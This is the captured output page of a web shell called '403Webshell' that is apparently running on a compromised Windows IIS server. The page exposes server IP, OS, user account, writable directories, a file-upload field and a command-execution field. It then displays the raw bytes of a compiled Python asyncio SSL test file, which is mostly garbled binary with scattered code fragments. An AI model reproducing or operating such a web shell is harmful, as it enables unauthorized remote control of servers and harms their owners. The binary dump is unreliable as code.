403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.51
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python312/Lib/test/test_asyncio/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python312/Lib/test/test_asyncio/__pycache__/test_sslproto.cpython-312.pyc
�

���g1u��`�dZddlZddlZddlZddlZddlmZddlmZddlm	Z		ddl
Z
ddlZddlm
Z
ddlmZddlmZdd	lmZdd
lmZd�Zej,e
dud�Gd
�dej.��ZGd�dej2�Zej,e
dud�Gd�deej.��Zej,e
dud�ej8eed�d�Gd�deej.���Zedk(rej@�yy#e$rdZ
Y��wxYw)zTests for asyncio/sslproto.py.�N)�support)�
socket_helper)�mock)�log)�	protocols)�sslproto)�utils)�
functionalc�.�tjd�y�N)�asyncio�set_event_loop_policy���4C:\Python312\\Lib\test\test_asyncio\test_sslproto.py�tearDownModulers���!�!�$�'rz
No ssl modulec���eZdZ�fd�Zddd�d�Zdd�d�Zd�Zd�Zd	�Zd
�Z	d�Z
d�Zd
�Zd�Z
d�Zd�Zd�Zd�Z�xZS)�SslProtoHandshakeTestsc���t�|��tj�|_|j|j�yr)�super�setUpr
�new_event_loop�loop�set_event_loop)�self�	__class__s �rrzSslProtoHandshakeTests.setUps.���
��
���*�*�,��	����D�I�I�&rN)�waiter�protoc�@�tj�}|�tj�}t	j
|j|||d��}|j|jj�|�|j|jj�|S)Ng�������?��ssl_handshake_timeout)�
test_utils�dummy_ssl_contextr
�Protocolr�SSLProtocolr�assertIs�_app_transport�get_protocol�
addCleanup�close)rrr�
sslcontext�	ssl_protos     r�ssl_protocolz#SslProtoHandshakeTests.ssl_protocol#s~���1�1�3�
��=��$�$�&�E��(�(����E�:�v�?B�D�	��
�
�i�.�.�;�;�=�u�E����	�0�0�6�6�7��r��do_handshakec��tj�}tj�}tj|j_tj|j_|�||_||_|j|�|Sr)
r�Mock�ssl�SSLWantReadError�read�side_effect�writer/�_sslobj�connection_made)rr,r/�	transport�sslobjs     rr8z&SslProtoHandshakeTests.connection_made-sf���I�I�K�	������"%�"6�"6�����#&�#7�#7���� ��#�".�F��"�	���!�!�)�,��rc��tj�}tj�}tj�}|j	t
d�5t
j|j|||d��ddd�y#1swYyxYw)N�a positive numberrr �	r"r#rr1�assertRaisesRegex�
ValueErrorrr%r�rr+�	app_protors    r�test_handshake_timeout_zeroz2SslProtoHandshakeTests.test_handshake_timeout_zero9sa���1�1�3�
��I�I�K�	������
�
#�
#�J�0C�
D�� � ����I�z�6�78�
:�E�
D�
D���%B�B
c��tj�}tj�}tj�}|j	t
d�5t
j|j|||d��ddd�y#1swYyxYw)Nr<i����r r=r@s    r�test_handshake_timeout_negativez6SslProtoHandshakeTests.test_handshake_timeout_negativeAsa���1�1�3�
��I�I�K�	������
�
#�
#�J�0C�
D�� � ����I�z�6�7:�
<�E�
D�
D�rCc�l�|jj�}|j|��}|j|t	j
tj����|j�tj|j�|j|j�t�y�N�r�r5r.)r�
create_futurer-r8rr1r2r3�eof_receivedr"�run_briefly�assertIsInstance�	exception�ConnectionResetError�rrr,s   r�test_eof_received_waiterz/SslProtoHandshakeTests.test_eof_received_waiterIs������(�(�*���%�%�V�%�4�	��������s�/C�/C�D�	�	
�	��� ����t�y�y�)����f�.�.�0�2F�Grc��|jj�}|j|��}tjj�}tjj
tj�	|jd�tjj
|�y#tjj
|�wxYw�NrH)
rrJr-r�logger�getEffectiveLevel�setLevel�logging�FATAL�_fatal_error)rrr,�	log_levels    r�test_fatal_error_no_name_errorz5SslProtoHandshakeTests.test_fatal_error_no_name_errorTs������(�(�*���%�%�V�%�4�	��J�J�0�0�2�	��
�
���G�M�M�*�	+��"�"�4�(�
�J�J���	�*��C�J�J���	�*�s�9B*�*!Cc�v�|jj�}|j|��}|j|t	j
tj����|jt�tj|j�|j|j�t�yrG)rrJr-r8rr1r2r3�connection_lost�ConnectionAbortedErrorr"rLrMrNrPs   r�test_connection_lostz+SslProtoHandshakeTests.test_connection_lostcs������(�(�*���%�%�V�%�4�	��������s�/C�/C�D�	�	
�	�!�!�"8�9����t�y�y�)����f�.�.�0�2H�Irc�r��	�
�tj�}tjd��|_tjt��|_tjd�j��}tj|�j��}�j|��}tj�}tj|j_
tj|j_
||_d�	tj�}tj�	��|_t!�	�|_||_�jj'||�|j(}tj*|||�j��
�	��
fd	�}�jj-|��y)
Ni90)�return_valuerIi)�limitr)r�rsAn interesting messagec���K���fd�}|��d{����jt�5|��d{���ddd�y7�27�#1swYyxYw�w)Nc��d�K��j���j��d{���y7��wr)r6�drain)�data�writers��rr6zRSslProtoHandshakeTests.test_connection_lost_when_busy.<locals>.main.<locals>.write�s"��������T�"��l�l�n�$�$�s�%0�.�0)�assertRaisesrO)r6rgrrhs ���r�mainzCSslProtoHandshakeTests.test_connection_lost_when_busy.<locals>.main�sM�����
%�
�'�M�M��"�"�#7�8��g�
�
�9�8�
����9�8�s5�A�A�A�A�A	�A�
A�	A�A�A)rr1�fileno�BrokenPipeError�sendr
�StreamReaderr�StreamReaderProtocolr-r2r3r4r5r6r7�len�pending�	_outgoing�_make_socket_transportr'�StreamWriter�run_until_complete)r�sock�reader�protocolr,r:�outgoingr9rjrgrhs`        @@r�test_connection_lost_when_busyz5SslProtoHandshakeTests.test_connection_lost_when_busyps6����y�y�{���i�i�U�3����I�I�/�:��	��%�%�G�$�)�)�D���/�/��T�Y�Y�G���%�%�H�%�5�	������"%�"6�"6�����#&�#7�#7���� �"�	��)���9�9�;���	�	�t�4��
��t�9���&�	��	
�	�	�(�(��y�9��,�,�	��%�%�i��6�4�9�9�M��	�	
�	�	�$�$�T�V�,rc��|jj�}|j|��}|j|t	j
tj����}tj|j�|jj�|j|jj�yrG)rrJr-r8rr1r2r3r"rLr'r*�
assertTrue�_force_close�called)rrr,r9s    r�test_close_during_handshakez2SslProtoHandshakeTests.test_close_during_handshake�s������(�(�*���%�%�V�%�4�	��(�(�����s�/C�/C�D�)�
�	�	���t�y�y�)�� � �&�&�(����	�.�.�5�5�6rc���|j|j���}|j|�g�|jj�fd��|jj�|j
�g�y)Nrcc�&���j|�Sr��append�r�ctx�messagess  �r�<lambda>zGSslProtoHandshakeTests.test_close_during_ssl_over_ssl.<locals>.<lambda>�����(�/�/�#�:Nr)r-r8r�set_exception_handlerr'r*�assertEqual)r�outerr�s  @r�test_close_during_ssl_over_sslz5SslProtoHandshakeTests.test_close_during_ssl_over_ssl�si����!�!��(9�(9�(;�!�<�����U�#����	�	�'�'�(N�O�
���"�"�$�����2�&rc��|jj�}|j|��}|j|j	d��t�}|j
|j	d|�|�|j|�|j|j	d��|jd�|j|j	d��y)NrH�socket)
rrJr-�assertIsNone�_get_extra_info�objectr&r8�assertIsNotNoner])rrr,�defaults    r�(test_get_extra_info_on_closed_connectionz?SslProtoHandshakeTests.test_get_extra_info_on_closed_connection�s������(�(�*���%�%�V�%�4�	����)�3�3�H�=�>��(���
�
�i�/�/��'�B�G�L����Y�'����Y�6�6�x�@�A��!�!�$�'����)�3�3�H�=�>rc�F�|jj�}|j|��}tj�}|j
j
|�|j|j
j�|�|j|j|�yrS)
rrJr-r
r$r'�set_protocolr&r(�
_app_protocol)rrr,�
new_app_protos    r�test_set_new_app_protocolz0SslProtoHandshakeTests.test_set_new_app_protocol�sz�����(�(�*���%�%�V�%�4�	��(�(�*�
�� � �-�-�m�<��
�
�i�.�.�;�;�=�}�M��
�
�i�-�-�}�=rc��|j�}|j|�|j}|j�|j	|jd��y)N�)r-r8r'r*r��buffer_updated�rr,�transps   r� test_data_received_after_closingz7SslProtoHandshakeTests.test_data_received_after_closing�sM���%�%�'�	����Y�'��)�)������	
���)�2�2�1�5�6rc��|j�}|j|�|j}|j�|j	|jd��y)Nsdata)r-r8r'r*r�r6r�s   r�test_write_after_closingz/SslProtoHandshakeTests.test_write_after_closing�sK���%�%�'�	����Y�'��)�)������	
���&�,�,�w�/�0r)�__name__�
__module__�__qualname__rr-r8rBrErQr[r_rzrr�r�r�r�r��
__classcell__)rs@rrrs]���'�
&*���:>�
�:�<�	H�
+�J�.-�`7�
'�	?�>�7�1rrc��eZdZdZej
Zd�Zd�Zd�Z	d�Z
ejd��Z
d�Zejd��Zd	�Zd
�Zd�Zd�Zd
�Zy)�BaseStartTLSi�c��t�r)�NotImplementedError�rs r�new_loopzBaseStartTLS.new_loop�s��!�!rc�,�Gd�dtj�}dD�]h}|d|�}tj|d�|j	|j
d�|d|�}tj|d�|j	|j
d�|d|�}tj|d�|j	|j
d�|d|�}tj|d�|j	|j
d�|d	|�}tj|d�|j	|j
d�|d
|�}|j
td�5tj|d�ddd���ky#1swY��wxYw)Nc��eZdZd�Zd�Zd�Zy)�.BaseStartTLS.test_buf_feed_data.<locals>.Protoc�t�t|�|_t|j�|_d|_||_y�Nr)�	bytearray�buf�
memoryview�mvrg�usemv)r�bufsizer�s   r�__init__z7BaseStartTLS.test_buf_feed_data.<locals>.Proto.__init__�s,��$�W�-���$�T�X�X�.�����	�"��
rc�J�|jr|jS|jSr)r�r�r��r�sizehints  r�
get_bufferz9BaseStartTLS.test_buf_feed_data.<locals>.Proto.get_buffer�s���:�:��7�7�N��8�8�Orc��|jr#|xj|jd|z
c_y|xj|jd|z
c_yr)r�rgr�r�)r�nsizes  rr�z=BaseStartTLS.test_buf_feed_data.<locals>.Proto.buffer_updated�s:���:�:��I�I�����%��0�I��I�I����&�5�!1�1�IrN)r�r�r�r�r�r�rrr�Protor��s��
#�
$�
2rr�)FT�s12345�s1234��drzempty buffer)r
�BufferedProtocolr�_feed_data_to_buffered_protor�rgr>�RuntimeError)rr�r�rs    r�test_buf_feed_datazBaseStartTLS.test_buf_feed_data�sJ��	2�G�,�,�	2�(#�E��!�U�O�E��2�2�5�(�C����U�Z�Z��2��!�U�O�E��2�2�5�(�C����U�Z�Z��2��!�U�O�E��2�2�5�'�B����U�Z�Z��1��!�U�O�E��2�2�5�'�B����U�Z�Z��1��#�u�%�E��2�2�5�(�C����U�Z�Z��2��!�U�O�E��'�'��n�E��6�6�u�h�G�F�E�-#�,F�E�s�&F	�	F	c�N������d�jz�tj��tj�����fd�}G�fd�dtj
������fd�}�j
|�j��5}�jjt	j||j�tj���ddd�tj���tj ��j#���y#1swY�IxYw)N�1c����|j�j�|jt���}�j	t|�t���|j�d��|j
d�|jt���}�j	t|�t���|jtj�|j�y�NT��server_side�O��
settimeout�TIMEOUT�recv_allrpr��	start_tls�sendall�shutdownr��	SHUT_RDWRr*�rvrg�	HELLO_MSGr�server_contexts  ���r�servez=BaseStartTLS.test_start_tls_client_reg_proto_1.<locals>.serve#s�����O�O�D�L�L�)��=�=��Y��0�D����S��Y��I��7��N�N�>�t�N�<��L�L����=�=��Y��0�D����S��Y��I��7��M�M�&�*�*�+��J�J�Lrc�*��eZdZd�Z�fd�Zd�Zd�Zy)�CBaseStartTLS.test_start_tls_client_reg_proto_1.<locals>.ClientProtoc�.�||_||_d|_y�Nr��on_data�on_eof�con_made_cnt�rr�r�s   rr�zLBaseStartTLS.test_start_tls_client_reg_proto_1.<locals>.ClientProto.__init__3���&���$���$%��!rc�h��|xjdz
c_�j|jd�y�Nr��r�r��r�trrs  �rr8zSBaseStartTLS.test_start_tls_client_reg_proto_1.<locals>.ClientProto.connection_made8�*����"�"�a�'�"�� � ��!3�!3�Q�7rc�:�|jj|�yr�r��
set_result�rrgs  r�
data_receivedzQBaseStartTLS.test_start_tls_client_reg_proto_1.<locals>.ClientProto.data_received=������'�'��-rc�:�|jjd�y�NT�r�r�r�s rrKzPBaseStartTLS.test_start_tls_client_reg_proto_1.<locals>.ClientProto.eof_received@������&�&�t�,rN�r�r�r�r�r8r�rKr�s�r�ClientProtor�2����
&�

8�

.�
-rr�c�����K�tjd��d{����	jj���	jj���	jj���fd�g|����d{���\}}|j���	jj
||���d{���}�	j��d{���d�|j����d{���|j�y7��7��7�N7�;7��w)N��?c�������Srr�r�r�r�s���rr�zPBaseStartTLS.test_start_tls_client_reg_proto_1.<locals>.client.<locals>.<lambda>J�����G�V�4rr�)	r
�sleeprrJ�create_connectionr6r�r�r*)
�addrr�r�new_trr�r�r�r��client_contextrs
    @@����r�clientz>BaseStartTLS.test_start_tls_client_reg_proto_1.<locals>.clientCs�������-�-��$�$�$��i�i�-�-�/�G��Y�Y�,�,�.�F�9�d�i�i�9�9�4�=�7;�=�=�I�B��
�H�H�Y���9�9�.�.�r�5�.�I�I�F����7�]�D�1��L�L��#��L�L��L�L�N�
%��
=��J��*���sX�D
�D�AD
�<D�=8D
�5D�6D
�
D�D
�*D�+D
�D
�D
�D
�D
��timeout��PAYLOAD_SIZEr"�simple_server_sslcontext�simple_client_sslcontextr
r$�
tcp_serverr�rru�wait_forr�r�
SHORT_TIMEOUT�weakref�ref�
gc_collectr��rr�r�srvr�r�rr�s`   @@@@r�!test_start_tls_client_reg_proto_1z.BaseStartTLS.test_start_tls_client_reg_proto_1s�����4�,�,�,�	�#�<�<�>��#�<�<�>��
	�	-�'�*�*�	-�"	�$�_�_�U�D�L�L�_�
9�S��I�I�(�(�� � �����!1�)0�)>�)>�@�
A�:�!���^�4���������.�*�+�:�
9��
�AD�D$c�N������d�jz�tj��tj�����fd�}G�fd�dtj
������fd�}�j
|�j��5}�jjt	j||j�tj���ddd�tj���tj ��j#���y#1swY�IxYw)Nr�c�^��|j�j�|j�d��|jd�|j	t���}�j
t|�t���|jtj�|j�yr�)r�r�r�r�r�rpr�r�r�r�r*r�s  ���rr�z>BaseStartTLS.test_create_connection_memory_leak.<locals>.serveest����O�O�D�L�L�)��N�N�>�t�N�<��L�L����=�=��Y��0�D����S��Y��I��7��M�M�&�*�*�+��J�J�Lrc�*��eZdZd�Z�fd�Zd�Zd�Zy)�DBaseStartTLS.test_create_connection_memory_leak.<locals>.ClientProtoc�.�||_||_d|_yr�r�r�s   rr�zMBaseStartTLS.test_create_connection_memory_leak.<locals>.ClientProto.__init__rr�rc�v��||_|xjdz
c_�j|jd�yr�)r�r�r�r�s  �rr8zTBaseStartTLS.test_create_connection_memory_leak.<locals>.ClientProto.connection_madews1�������"�"�a�'�"�� � ��!3�!3�Q�7rc�:�|jj|�yrr�r�s  rr�zRBaseStartTLS.test_create_connection_memory_leak.<locals>.ClientProto.data_received~r�rc�:�|jjd�yr�r�r�s rrKzQBaseStartTLS.test_create_connection_memory_leak.<locals>.ClientProto.eof_received�r�rNr�r�s�rr�rqs���
&�

8�
.�
-rr�c�����K�tjd��d{����jj���jj���jj���fd�g|��d�i��d{���\}}�j��d{���d�|j
����d{���|j�y7��7�O7�97��w)Nr�c�������Srrr�s���rr�zQBaseStartTLS.test_create_connection_memory_leak.<locals>.client.<locals>.<lambda>�r�rr2r�)r
r�rrJr�r�r6r*)	r�r�rr�r�r�r�rrs	   @@����rrz?BaseStartTLS.test_create_connection_memory_leak.<locals>.client�s�������-�-��$�$�$��i�i�-�-�/�G��Y�Y�,�,�.�F�9�d�i�i�9�9�4�$�7;�$�"�$�$�I�B��
���7�]�D�1��H�H�Y���L�L��H�H�J�
%��
$��+���sF�C�C
�A C�?C�C�C�C�7C�8C�C�C�Crrrs`   @@@@r�"test_create_connection_memory_leakz/BaseStartTLS.test_create_connection_memory_leak_s�����4�,�,�,�	�#�<�<�>��#�<�<�>��
	�	-�'�*�*�	-�&	� �_�_�U�D�L�L�_�
9�S��I�I�(�(�� � �����!1�)0�)>�)>�@�
A�:�!���^�4���������.�*�+�:�
9�rc��������	�d�jz�tj��	tj��d����	fd�}G��fd�dtj
��G�fd�dtj��������fd�}�j|�j�	�5}�jjt	j||j��j�	��ddd�y#1swYyxYw)
Nr�rc�x��|j�j�|jt���}�j	t|�t���|j�d��|j
d�|jt���}�j	t|�t���|j
d�|jt���}�j	t|�t���|jtj�|j�y)NTr�r��2r�r�s  ���rr�z=BaseStartTLS.test_start_tls_client_buf_proto_1.<locals>.serve�s�����O�O�D�L�L�)��=�=��Y��0�D����S��Y��I��7��N�N�>�t�N�<��L�L����=�=��Y��0�D����S��Y��I��7��L�L����=�=��Y��0�D����S��Y��I��7��M�M�&�*�*�+��J�J�Lrc�.��eZdZd�Z�fd�Zd�Z�fd�Zy)�HBaseStartTLS.test_start_tls_client_buf_proto_1.<locals>.ClientProtoFirstc�2�||_td�|_yr�)r�r�r�)rr�s  rr�zQBaseStartTLS.test_start_tls_client_buf_proto_1.<locals>.ClientProtoFirst.__init__�s��&���$�Q�<��rc����dz
�yr�r�rr��client_con_made_callss  �rr8zXBaseStartTLS.test_start_tls_client_buf_proto_1.<locals>.ClientProtoFirst.connection_made�����%��*�%rc��|jSr)r�r�s  rr�zSBaseStartTLS.test_start_tls_client_buf_proto_1.<locals>.ClientProtoFirst.get_buffer�s���x�x�rc����j|d�|jjt|jd|��yr�)r�r�r��bytesr�)�slfr�rs  �rr�zWBaseStartTLS.test_start_tls_client_buf_proto_1.<locals>.ClientProtoFirst.buffer_updated�s4���� � ���*����&�&�u�S�W�W�V�e�_�'=�>rN)r�r�r�r�r8r�r�)r%rs��r�ClientProtoFirstr!�s���
(�
+�
 �
?rr+c�*��eZdZd�Z�fd�Zd�Zd�Zy)�IBaseStartTLS.test_start_tls_client_buf_proto_1.<locals>.ClientProtoSecondc�.�||_||_d|_yr�r�r�s   rr�zRBaseStartTLS.test_start_tls_client_buf_proto_1.<locals>.ClientProtoSecond.__init__�r�rc����dz
�yr�rr$s  �rr8zYBaseStartTLS.test_start_tls_client_buf_proto_1.<locals>.ClientProtoSecond.connection_made�r&rc�:�|jj|�yrr�r�s  rr�zWBaseStartTLS.test_start_tls_client_buf_proto_1.<locals>.ClientProtoSecond.data_received�r�rc�:�|jjd�yr�r�r�s rrKzVBaseStartTLS.test_start_tls_client_buf_proto_1.<locals>.ClientProtoSecond.eof_received�r�rNr�)r%s�r�ClientProtoSecondr-�s���
&�

+�
.�
-rr2c����K�tjd��d{����jj���jj�}�jj�}�jj��fd�g|����d{���\}}|j�	��jj
||���d{���}�j��d{���d�|j�	�|j�||���j|�d{���d�|j�	�|�d{���|j��j�
d�y7��P7��7��7��7�P7�2�w)Nr�c������Srr)r+�on_data1s��rr�zPBaseStartTLS.test_start_tls_client_buf_proto_1.<locals>.client.<locals>.<lambda>�s���(��2rr�rr�)
r
r�rrJr�r6r�r�r�r*)
r��on_data2r�r�rr�r5r+r2r�r%rrs
      @������rrz>BaseStartTLS.test_start_tls_client_buf_proto_1.<locals>.client�s7������-�-��$�$�$��y�y�.�.�0�H��y�y�.�.�0�H��Y�Y�,�,�.�F�9�d�i�i�9�9�2�;�59�;�;�I�B��
�H�H�Y���9�9�.�.�r�5�.�I�I�F����8�^�T�2��L�L��#���� 1�(�F� C�D����8�^�T�2��L�L��#��L�L��L�L�N�

���2�A�6�3
%��;��J��+��,���sk�E:�E-�A6E:�E0�8E:�
E2�E:�"E4�#AE:�%E6�&E:�E8�(E:�0E:�2E:�4E:�6E:�8E:r)
rr"rrr
r�r$rr�rrur	r�)
rr�rrr+r2r�r%rr�s
`   @@@@@@r�!test_start_tls_client_buf_proto_1z.BaseStartTLS.test_start_tls_client_buf_proto_1�s�����4�,�,�,�	�#�<�<�>��#�<�<�>�� !��	�&	?�w�7�7�	?� 	-�� 0� 0�	-� 	7�	7�8�_�_�U�D�L�L�_�
9�S��I�I�(�(�� � �����!1�)-���7�
8�:�
9�
9�s
�&AC:�:Dc��������d�jz�tj���jj	�����fd�}G�fd�dt
j�������fd�}�j|�j��5}�jjtj||j�tj���ddd�y#1swYyxYw)Nr�c���|j�j�|jt���}�j	t|�t���	�j
j
�jd�|jd�}|j�y#t$rY�wxYw#|j�wxYw�N�)
r�r�r�rpr�r�call_soon_threadsafer�r^r*)rvrgr�r�server_waits_on_handshakes  ���rr�z=BaseStartTLS.test_start_tls_slow_client_cancel.<locals>.serves�����O�O�D�L�L�)��=�=��Y��0�D����S��Y��I��7�
��	�	�.�.�-�8�8�$�@��}�}�[�1���
�
���*�
��
���
�
��s$�7B$�$	B0�-B3�/B0�0B3�3Cc�*��eZdZd�Z�fd�Zd�Zd�Zy)�CBaseStartTLS.test_start_tls_slow_client_cancel.<locals>.ClientProtoc�.�||_||_d|_yr�r�r�s   rr�zLBaseStartTLS.test_start_tls_slow_client_cancel.<locals>.ClientProto.__init__r�rc�h��|xjdz
c_�j|jd�yr�r�r�s  �rr8zSBaseStartTLS.test_start_tls_slow_client_cancel.<locals>.ClientProto.connection_mader�rc�:�|jj|�yrr�r�s  rr�zQBaseStartTLS.test_start_tls_slow_client_cancel.<locals>.ClientProto.data_receivedr�rc�:�|jjd�yr�r�r�s rrKzPBaseStartTLS.test_start_tls_slow_client_cancel.<locals>.ClientProto.eof_receivedr�rNr�r�s�rr�r?r�rr�c��.���K�tjd��d{����jj���jj���jj���fd�g|����d{���\}}|j���	�d{����j
tj�5tj�jj||��d��d{���ddd�y7��7��7�j7�#1swYyxYw�w)Nr�c�������Srrr�s���rr�zPBaseStartTLS.test_start_tls_slow_client_cancel.<locals>.client.<locals>.<lambda>(r�r)
r
r�rrJr�r6ri�TimeoutErrorr	r�)
r�r�rr�r�r�r�rrr=s
   @@�����rrz>BaseStartTLS.test_start_tls_slow_client_cancel.<locals>.client!s�������-�-��$�$�$��i�i�-�-�/�G��Y�Y�,�,�.�F�9�d�i�i�9�9�4�=�7;�=�=�I�B��
�H�H�Y��+�+�+��"�"�7�#7�#7�8��&�&��I�I�'�'��E�>�B�����9�8�
%��
=��

,����9�8�s^�D�D�AD�<D�=D�D�#D�>5D	�3D�4D	�8
D�D�D�D	�	D�Dr)rr"rrrJr
r$rr�rur	r�rr
)rr�rrr�r�rr=s`   @@@@r�!test_start_tls_slow_client_cancelz.BaseStartTLS.test_start_tls_slow_client_cancel�s�����4�,�,�,�	�#�<�<�>��$(�I�I�$;�$;�$=�!�
	�	-�'�*�*�	-�"	�	�$�_�_�U�D�L�L�_�
9�S��I�I�(�(�� � �����!1�)0�)>�)>�@�
A�:�
9�
9�s
�AC#�#C,c�8���������	�d�jz�d�tj��	tj��d������fd��G�fd�dtj
������	fd��������fd�}�jj|��y)Nr�sanswerc�r��|j�j�|j|�|jt	���}�jt	|�t	���|j
��|j��|jt	����|j�yr)	r�r��connectr�rpr�r�r�r*)rvr�rg�ANSWERr��answerrrs   �����rrz4BaseStartTLS.test_start_tls_server_1.<locals>.clientAs|����O�O�D�L�L�)��L�L����=�=��Y��0�D����S��Y��I��7��N�N�>�*��L�L��#��]�]�3�v�;�/�F��J�J�Lrc�0��eZdZd�Zd�Zd�Z�fd�Zd�Zy)�9BaseStartTLS.test_start_tls_server_1.<locals>.ServerProtoc�J�||_||_||_d|_d|_yr�)�on_con�on_con_lost�on_got_hellorgr9)rrPrQrRs    rr�zBBaseStartTLS.test_start_tls_server_1.<locals>.ServerProto.__init__Os'��$���#.�� �$0��!���	�!%��rc�H�||_|jj|�yr)r9rPr��rr�s  rr8zIBaseStartTLS.test_start_tls_server_1.<locals>.ServerProto.connection_madeVs��!#������&�&�r�*rc��||_yr)r9rTs  r�replace_transportzKBaseStartTLS.test_start_tls_server_1.<locals>.ServerProto.replace_transportZs	��!#��rc���|xj|z
c_t|j�t��k\r|jjd�yyr)rgrprRr�)rrgr�s  �rr�zGBaseStartTLS.test_start_tls_server_1.<locals>.ServerProto.data_received]s>����	�	�T�!�	��t�y�y�>�S��^�3��%�%�0�0��6�4rc��d|_|�|jjd�y|jj|�yr)r9rQr��
set_exception)r�excs  rr]zIBaseStartTLS.test_start_tls_server_1.<locals>.ServerProto.connection_lostbs6��!%����;��$�$�/�/��5��$�$�2�2�3�7rN)r�r�r�r�r8rVr�r])r�s�r�ServerProtorNNs���
&�
+�
$�
7�

8rr[c���K�|�d{���}|j���j|jd��jj	||�	d�j
���d{���}|j
|�|�d{���|j��|�d{����j|j��|j�y7��7�i7�P7�7�w)NrT)r�r!)r6r�rgrr�r�rVr*)
rrPrQrRr�r�rKr�rr�s
      ����rrjz2BaseStartTLS.test_start_tls_server_1.<locals>.mainis��������B��H�H�Y�����U�Z�Z��-��9�9�.�.��E�>� �&*�l�l�/�4�4�F�
�#�#�F�+�����L�L�� �������U�Z�Z��3��L�L�N�!��
4��
��
�sF�C�C�AC�(C�)C�C�C�C�2C�C�C�Cc	�����K��jj�}�jj�}�jj�}�|||���jj�fd�dd��d{���}|jdj	���j��	fd��j��5tj�
�|||��j���d{���ddd�|j�|j��d{����j���y7��7�I#1swY�HxYw7�'�w)Nc����Srrrcs�rr�zHBaseStartTLS.test_start_tls_server_1.<locals>.run_main.<locals>.<lambda>�s���rz	127.0.0.1rc����|��Srr)rvr�rs ��rr�zHBaseStartTLS.test_start_tls_server_1.<locals>.run_main.<locals>.<lambda>�s���f�T�4�.@rr)rrJ�
create_server�sockets�getsockname�
tcp_clientr�r
r	r*�wait_closedr�)rPrQrR�serverr�rrKr[rLrrjrs    @@������r�run_mainz6BaseStartTLS.test_start_tls_server_1.<locals>.run_main|s������Y�Y�,�,�.�F��)�)�1�1�3�K��9�9�2�2�4�L����\�B�E��9�9�2�2��{�A�/�/�F��>�>�!�$�0�0�2�D����!@�)-���!�7��&�&�����\�B� �L�L�*�*�*�7�
�L�L�N��$�$�&�&�&����V�V�,�/��*��7�7��
'�sI�A<E�D:�AE�.D>�2D<�3D>�7+E�"E
�#E�<D>�>E�E)rr"rrr
r$rru)
rrfrKr�r[rLrrrjr�s
` @@@@@@@@r�test_start_tls_server_1z$BaseStartTLS.test_start_tls_server_18s{�����4�,�,�,�	���#�<�<�>��#�<�<�>����	�	�	8�'�*�*�	8�6	�&	-�	-�(	
�	�	�$�$�X�Z�0rc�P���fd�}�jj|��y)Nc��~�K��jtd�5�jjddd��d{���ddd�t	j
�}�jtd�5�jjdd|��d{���ddd�y7�e#1swY�dxYw7�#1swYyxYw�w)NzSSLContext, gotzis not supported)r>�	TypeErrorrr�r"r)�sslctxrs �rrjz4BaseStartTLS.test_start_tls_wrong_args.<locals>.main�s�������'�'�	�3D�E��i�i�)�)�$��d�;�;�;�F� �8�8�:�F��'�'�	�3E�F��i�i�)�)�$��f�=�=�=�G�F�<��F�E��
>��G�F�sV�B=�!B#�B!�B#�2B=�2!B1�B/�B1�	B=�!B#�#B,�(B=�/B1�1B:�6B=)rru)rrjs` r�test_start_tls_wrong_argsz&BaseStartTLS.test_start_tls_wrong_args�s���	>�	
�	�	�$�$�T�V�,rc�b�����tj��g��jj�fd��d��fd�}��fd�}�j	|dd��5}�jtj�5�jj||j��ddd�ddd��j���j�g�tj���tj��j!���y#1swY�txYw#1swY�xxYw)Nc�&���j|�Srr�r�s  �rr�z5BaseStartTLS.test_handshake_timeout.<locals>.<lambda>�r�rFc���	|jd�|j�y#t$rd�Y�wxYw#|j�wxYw)Nr;T�r�r^r*)rv�server_side_aborteds �rrez3BaseStartTLS.test_handshake_timeout.<locals>.server�sB���
��
�
�k�*��
�
���*�
+�&*�#�
+���
�
��s�%�3�6�3�6�Ac	����K�tj�jjtjg|���dt
jd��d��d{���y7��w)N��r2�server_hostnamer!r�)r
r	rr�r$rr
)r��
client_sslctxrs ��rrz3BaseStartTLS.test_handshake_timeout.<locals>.client�sb������"�"�+��	�	�+�+��$�$�A��A�&�$&�*1�*?�*?�A���
�
�s�AA!�A�A!r���max_clients�backlog)r"rrr�rrir
rFrur�r|r�rrrr
r�)rrerrrvr�rqs`   @@@r�test_handshake_timeoutz#BaseStartTLS.test_handshake_timeout�s����#�;�;�=�
����	�	�'�'�(N�O�#��	�	��_�_�V�)*�%&��(�+.��"�"�7�#7�#7�8��	�	�,�,�V�C�H�H�-=�>�9�	(�	
���+�,�	
����2�&� ���M�2�
��������-�/�*�9�8��	(�(�s$� D%�:,D�&D%�D"	�D%�%D.c����tj��g�|jj�fd��d�}�fd�}|j	|dd��5}|jtd�5|jj||j��ddd�ddd�|j�g�y#1swY�$xYw#1swY�(xYw)Nc�&���j|�Srr�r�s  �rr�zHBaseStartTLS.test_create_connection_ssl_slow_handshake.<locals>.<lambda>�r�rc��	|jd�|j�y#t$rY�wxYw#|j�wxYwr:rp)rvs rrezFBaseStartTLS.test_create_connection_ssl_slow_handshake.<locals>.server�s>��
��
�
�k�*��
�
���*�
��
���
�
��s�$�	0�3�0�3�Ac��V�K�tj|�ddd���d{���\}}y7��w)Nrsg�?rt)r
�open_connection�r�rwrhrvs   �rrzFBaseStartTLS.test_create_connection_ssl_slow_handshake.<locals>.client�s1�����#*�#:�#:��!� "�&)�	$+�+�N�F�F�+�s�)�'�	)r�rwzSSL handshake.*is taking longer)
r"rrr�rr>r^rur�r�)rrerrrvr�s    @@r�)test_create_connection_ssl_slow_handshakez6BaseStartTLS.test_create_connection_ssl_slow_handshake�s����"�;�;�=�
����	�	�'�'�(N�O�	�	+��_�_�V�)*�%&��(�+.��'�'�*�6�8��	�	�,�,�V�C�H�H�-=�>�	8�	(�	
����2�&�
8�8��	(�(�s$�C�*,B9�C�9C	�>C�Cc����|jjd��tj��tjd����fd�}�fd�}|j|dd��5}|j
